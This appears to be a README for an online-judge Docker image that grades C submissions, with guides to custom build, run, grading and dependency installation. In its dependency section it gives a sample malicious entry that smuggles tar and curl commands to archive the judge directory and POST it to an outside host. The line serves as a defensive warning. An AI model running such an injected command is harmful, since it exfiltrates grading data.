OJ Sample judging image

This image serves as a base for grading student submissions. There are many hardcoded restrictions so please do read this document! If in doubt, you can consult the reference implementation.

Quick start

We have set up this base image for simple judging tasks, which

• runs on ubuntu 16.04
• submission is a single c source file named main.c targeting c11
• compiled binary takes input from STDIN and print to STDOUT
• output is graded by diffing it with a predefined reference output
• may have numerous test cases
• does not require installing student-defined dependencies with apt or pip3

If your need happens to match this, you can start reading the section on where to place test data. If not, we have also written a few common customization guides. If all failed, please refer to the WALKTHROUGH.md we have written. This detailed guide contains everything you will need to rewrite this image to suit your needs.

Test data location

It is placed in tests/ directory. Please refer to readme inside those directories on details.

More testcases/Different testcase worth differetly

It is all within grade/grade.py. The existing template (and its comments) should help you a lot in understanding how to write it.

You don't have to strictly follow the template's coding style or overall control flow. As long as your program is properly outputing scoring info and terminates properly afterwards, you can do whatever you like inside the grading script. If you need a even more drastical change, you can scrape the entire script and change grade script instead. More on these scripts in WALKTHROUGH.md.

Customize build command

1. Edit build script.
2. Replace line 4 with your command.
3. If your command require addition packages, please add them to relevant location in Dockerfile

Please be ware your compile command have connectivity to the internet.

Please note the default run script requires an executable file at /test/executable as the student program. Since you are using custom compile command, you may also wish to use a custom run command.

Customize run command

1. Edit run.py script.
2. Replace line 101 with the executable.
3. Replace line 106 with the arguments to the executable including argv[0] which is executable name.
4. There are various other settings can be changed in the script.

For anything more advanced

Install student defined dependencies

If you are using python, please note pip install . is considered a build command and should not be used here.

Uncomment everything inside setup script.

Oh, Please don't uncomment the shebang line (#!/usr/bin/env bash line)

This will allow student to place a file named dependencies. This file is a key-value file, with key being the installation method, and the value being the dependency. One pair per line. The key-value is separated with three colons (:::) This image comes with apt and pip3 installation method but it is easy to define your own.

NOTE: For sake of security, we enforce a rule of one dependency per line.

Adding/removing custom dependency installation method

Open dep.awk, while you may not be familiar with awk, the template should be easy enough to follow.

First, you select a good identifier to indicate the installation method. This identifier does not need to have connection with the actual install command, e.g. asjdui can be used to identify pip3 install -U but your student will believe you can't name things properly.

You then think of how the actual installation should commence. You should write a command template that would install the package.

You now fill the following template and append the result to dep.awk.

$1~/<identifer>/ {
    print "run_cmd.py <install command>" "--" $2 
}

---

Remember the student may give a line like this

apt:gcc;tar -zcvf /t /judge;curl -X POST example.com/post -d /t

So it's suggested to pass the dependency as a single argument. This is also why we enforce the rule of one dependency per line.

We have provided two wrappers run_cmd.py and run_cmd_no_slash.py to facilitate this need.

The first wrapper will take first argument as target executable, other argument before -- as options, and join everything after -- with a space as delimiter and use the result as a whole as the last argument to the target executable.

The second wrapper will additionally reject any package that has / in it. This will be helpful to prevent package manager from installing from local directory, as installation script of a local package is not as trusty as one on e.g. PyPI.

Customize grading method

It is suggested to use the utilities in grading/util.py as the OJ requires a specific pattern in STDOUT to be able to read the grading result.

You can consult grading/grade.py on how to use it.